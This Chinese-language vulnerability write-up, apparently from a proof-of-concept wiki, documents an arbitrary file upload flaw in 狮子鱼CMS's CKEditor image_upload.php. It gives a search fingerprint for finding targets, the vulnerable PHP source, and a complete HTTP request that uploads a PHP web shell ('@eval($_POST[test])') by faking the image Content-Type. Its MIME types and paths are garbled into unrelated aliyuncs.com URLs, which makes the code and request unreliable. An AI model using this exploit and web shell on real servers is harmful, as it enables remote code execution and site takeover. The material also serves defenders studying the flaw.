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114 lines
3.4 KiB
Markdown
114 lines
3.4 KiB
Markdown
# 狮子鱼CMS image_upload.php 任意文件上传
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## 漏洞描述
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狮子鱼CMS使用CK编辑器，存在图片上传的绕过，造成 image_upload.php 任意文件上传
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## 漏洞影响
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```
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狮子鱼CMS
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```
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## 网络测绘
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```
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"/seller.php?s=/Public/login"
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```
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## 漏洞复现
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登录页面如下
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漏洞文件为 CK编辑器的 image_upload.php
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```php
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<?php
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define ( 'IN_BAMBOO', true );
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// 取得根目录
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define ( 'ROOT_PATH', '../../../../' ); // back to your root path
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$arrType = array (
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'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/jpg',
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'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif',
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'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/png',
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'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/bmp',
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'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/pjpeg',
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'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/jpeg'
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);
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$max_size = 500 * 1024; // 最大文件限制（单位：byte）
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$upfile = ROOT_PATH.'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads'; // 图片目录路径
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if (!isset($_FILES ['files'])){
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echo '{"result":"400","msg":"未能找到图片，请确认图片是否过大"}';
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exit ();
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}
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$file = $_FILES ['files'];
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if ($_SERVER ['REQUEST_METHOD'] == 'POST') { // 判断提交方式是否为POST
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if (! is_uploaded_file ( $file ['tmp_name'] )) { // 判断上传文件是否存在
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echo '{"result":"400","msg":"图片不存在"}';
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exit ();
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}
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if ($file ['size'] > $max_size) { // 判断文件大小是否大于500000字节
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echo '{"result":"400","msg":"上传图片太大，最大支持：'.($max_size/1024).'KB"}';
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exit ();
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}
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if (! in_array ( $file ['type'], $arrType )) { // 判断图片文件的格式
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echo '{"result":"400","msg":"上传图片格式不对"}';
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exit ();
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}
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if (! file_exists ( $upfile )) { // 判断存放文件目录是否存在
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mkdir ( $upfile, 0777, true );
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}
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$imageSize = getimagesize ( $file ['tmp_name'] );
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$img = $imageSize [0] . '*' . $imageSize [1];
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$fname = $file ['name'];
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$ftype = explode ( '.', $fname );
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$time = explode ( " ", microtime () );
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$time = $time [1] . ($time [0] * 1000);
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$time2 = explode ( ".", $time );
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$time = $time2 [0];
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$returnName=$time."." .end($ftype);
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$picName = $upfile . "/" . $returnName ;
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if (! move_uploaded_file ( $file ['tmp_name'], $picName )) {
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echo '{"result":"400","msg":"从:'.$file ['tmp_name'].'移动图片到:'.$picName.'出错"}';
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exit ();
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} else {
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echo '{"result":"200","imgurl":"http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads/' . $returnName . '"}';
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}
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}
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?>
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```
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其中使用 **Content-Type:** [**http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif**](http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif) 即可绕过上传PHP文件
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```plain
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POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/2
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Host:
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Content-Type: multipart/form-data;boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
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Content-Length: 208
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------WebKitFormBoundary8UaANmWAgM4BqBSs
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Content-Disposition: form-data; name="files"; filename="test.php"
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Content-Type: http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif
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<?php @eval($_POST[test]);?>
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------WebKitFormBoundary8UaANmWAgM4BqBSs—
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```
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访问返回的文件路径
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```plain
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/Common/http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads/xxxxx.php
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```
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